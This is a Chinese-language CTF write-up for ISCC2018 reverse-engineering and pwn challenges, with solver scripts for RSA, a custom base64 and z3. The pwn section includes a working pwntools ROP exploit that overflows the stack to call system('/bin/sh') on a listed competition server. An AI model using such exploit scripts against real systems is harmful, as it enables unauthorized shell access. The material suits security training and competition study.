1. 程式人生 > >ISCC2018 Reverse & Pwn writeup

ISCC2018 Reverse & Pwn writeup

Reference:L1B0

Re

RSA256

春秋歡樂賽原題。。flag都不變的
給了三個加密檔案和公鑰證書public.key,可以使用openssl進行處理

$openssl rsa -pubin -text -modulus -in ./public.key
Public-Key: (256 bit)
Modulus:
    00:d9:9e:95:22:96:a6:d9:60:df:c2:50:4a:ba:54:
    5b:94:42:d6:0a:7b:9e:93:0a:ff:45:1c:78:ec:55:
    d5:55:eb
Exponent: 65537 (0x10001)
Modulus
=D99E952296A6D960DFC2504ABA545B9442D60A7B9E930AFF451C78EC55D555EB writing RSA key -----BEGIN PUBLIC KEY----- MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhANmelSKWptlg38JQSrpUW5RC1gp7npMK /0UceOxV1VXrAgMBAAE= -----END PUBLIC KEY-----

rsa引數中, Exponent=65537 即為 e 值 ,Modulus即為n
使用python解密即可

#!/usr/bin/env python
#coding:utf-8   
import gmpy2 import rsa p = 302825536744096741518546212761194311477 q = 325045504186436346209877301320131277983 n = 98432079271513130981267919056149161631892822707167177858831841699521774310891 e = 65537 d = int(gmpy2.invert(e , (p-1) * (q-1))) privatekey = rsa.PrivateKey(n , e , d , p , q) with open(
"encrypted.message1" , "rb") as f: print(rsa.decrypt(f.read(), privatekey).decode()) with open("encrypted.message2" , "rb") as f: print(rsa.decrypt(f.read(), privatekey).decode()) with open("encrypted.message3" , "rb") as f: print(rsa.decrypt(f.read(), privatekey).decode())

結果

leftleftrightright

一個upx加殼的exe程式
脫殼後,能夠在ida中發現疑似經過換位的flag:s_imsaplw_e_siishtnt{g_ialt}F
按照英文單詞猜測,還是有一定機率能猜出正確的flag的。
程式去殼之後就不能運行了,根據學長指示,可以在winedbg中進行除錯。但是系統自帶的老版本wine會遇到很多錯誤,所以編譯安裝wine3.8

編譯安裝wine3.8

下載原始碼到使用者目錄
$tar Jxf wine-3.8.tar.xz
$cd wine-3.8/
$./configure --enable-win64
遇到一個錯誤error: no suitable bison found. Please install the 'bison' package.
$sudo apt-get install bison
又一個錯誤error: FreeType 64-bit development files not found. Fonts will not be built.
根據提示判斷是和字型相關的包,試了幾次一直處錯誤,索性暫時不安了影響應該不大
$./configure --enable-win64 --without-freetype
$make $sudo make install

wine好像還有點問題,日後再說。。。
只要將斷點下在比較函式部分,輸入和flag等長的字串,對比換位前後的變化,即可得到flag變化規則,將之前的字串逆向變換即可得到flag 借用M4x大佬的圖和程式碼說明

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'    

encrypt = "s_imsaplw_e_siishtnt{g_ialt}F"    
before = "abcdefghijklmnopqrstuvwxyzABC"
after = "onpqmlrskjtuihvwgfxyedzAcbBCa"    
flag = [encrypt[after.find(c)] for c in before]

print "".join(flag)

#Flag{this_was_simple_isnt_it}

My math is bad

解方程類的題目,使用z3比較容易解決
詳見z3學習檔案

obfuscation and encode

程式邏輯可以說亂透了。。
輸入的flag經過fencode和encode兩個函式進行加密之後與lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq進行比較。
經過分析,encode部分是進行了三位變四位的操作
Result為最終比較結果,trans為flag經過fencode處理得到的串

Reault[0] = alpha[trans[0] >> 2 & 0x3f]  == 'l'
v11 = 1
v10 = 2
Reault[1] = alpha[((trans[1]>>4)|16*trans[0]) & 0x3f] == 'U'
Reault[2] = alpha[((trans[2]>>6)|4*trans[1]) & 0x3f] == 'F'
v12 = 3
v24 = 4
Reault[3] = alpha[trans[2]&0x3f] == 'B'

可以根據這一規律進行每四位進行爆破,trans
這是類base64,一般是更改替換表和偏移位數進行編碼,所以可以通過改寫base64標準解碼程式碼,實現一步到位

這是改寫的愛測試國賽的程式碼。

# -*- coding: UTF-8 -*-
table = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+'

def decodeBase64(src):
    delPaddingTail = {0: 0, 2: 4, 1: 2}
    value = ''
    n = src.count('=')
    sin = src[:len(src) - n]
    for c in sin:
        value += bin(table.find(c))[2:].zfill(6).replace('0b', '')
    value = value[:len(value) - delPaddingTail[n]]
    print value
    middle = []
    for i in range(8, len(value) + 1, 8):
        middle.append(int(value[i-8:i], 2))
    output = middle
    print output
    return ''.join(map(chr, output)) 

res = decodeBase64("lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq")
print res

得到trans

[37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 40, 133, 38, 38, 22, 231, 17, 9, 7, 38]  

然後,我是通過暴力執行性加程式碼分析解決的fencode
寫gdb指令碼的方法倒是不錯,程式彙編的0x4008c6和0x400906兩行和生成trans有關

在除錯的時候只要檢視這兩句就能看到運算元,其餘的地方不用管
也能看到對24位flag,分成6組,每四位和m陣列的對應位相乘求和再%127得到trans,同樣可以使用z3進行求解。

#!/usr/bin/env python
# -*-coding=utf-8-*-
from z3 import *

trans = [37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 40, 133, 38, 38, 22, 231, 17, 9, 7, 38]
print len(trans)
m = [2,2,4,-5,1,1,3,-3, -1, -2, -3, 4, -1, 0, -2,2]
a = BitVec('a',64)
b = BitVec('b',64)
c = BitVec('c',64)
d = BitVec('d',64)

for i in range(6):
    s = Solver()
    s.add((2 * a + 2 * b + 4 * c - 5 * d) & 0xff== trans[4 * i])
s.add((a + b + 3 * c - 3 * d)& 0xff== trans[4*i+1])
s.add((-1 * a - 2 * b -3 * c + 4 * d) & 0xff == trans[4 * i + 2])
s.add(( -1 * a  - 2 * c + 2 * d) & 0xff == trans[4 * i + 3])
s.add(a<256)
s.add(b<256)
s.add(c<256)
s.add(d<256)
if s.check() == sat:
    print s.model()
else :
    print s.check()

#[b = 108, a = 102, c = 97, d = 103]
#[b = 100, a = 123, c = 79, d = 95]
#[b = 48, a = 121, c = 85, d = 95]
#[b = 78, a = 75, c = 111, d = 87]
#[b = 48, a = 95, c = 73, d = 108]
#[b = 109, a = 86, c = 63, d = 125]

f = [102,108,97,103,123,100,79,95,121,48,85,95,75,78,111,87,95,48,73,108,86,109,63,125]
print map(chr,f)
flag = ''
for i in f:
    flag += chr(i)
print flag

可以得到六組解,排好順序轉字元即可

Pwn

Login(pwn50)

思路

1.沒有canary和PIE,在輸入choice時存在棧溢位.並且有system函式。
2.賬號密碼在常字串,且可以使用全域性變數”cmd”儲存寫入字串,可以在已知地址記憶體中輸入”/bin/sh”
3.在程式中找到了pop rdi; ret,可以通過控制暫存器傳參,溢位後呼叫system函式。

指令碼

#!/usr/bin/env python
# -*-coding=utf-8-*-
from pwn import *
context.log_level = 'debug'    
# io = process('./pwn50')
io = remote('47.104.16.75',9000)
elf = ELF('./pwn50')

sys_addr = elf.plt['system']
rdi_ret = 0x400b03 
cmd = 0x601100
usr = 'admin'
psd = 'T6OBSh2i'

io.recvuntil('name: ')
io.sendline(usr)
io.recvuntil('word: ')
io.sendline(psd)

io.recvuntil('choice: ')
io.send('1\n')
io.recvuntil('and: ')
io.send('/bin/sh\0\n')
io.recvuntil('choice: ')

payload = '3' * (0x50 + 0x8)
payload += p64(rdi_ret) + p64(cmd)
payload += p64(sys_addr)
io.send(payload)
io.interactive()
# flag{welcome_to_iscc}

Write some paper(pwn3)

double free 的問題
參見Fastbin之double free

Happy hotel(pwn300)

LCTF原題?House of spirit
Hos分析)
以Pwnable spirited_away為例分析。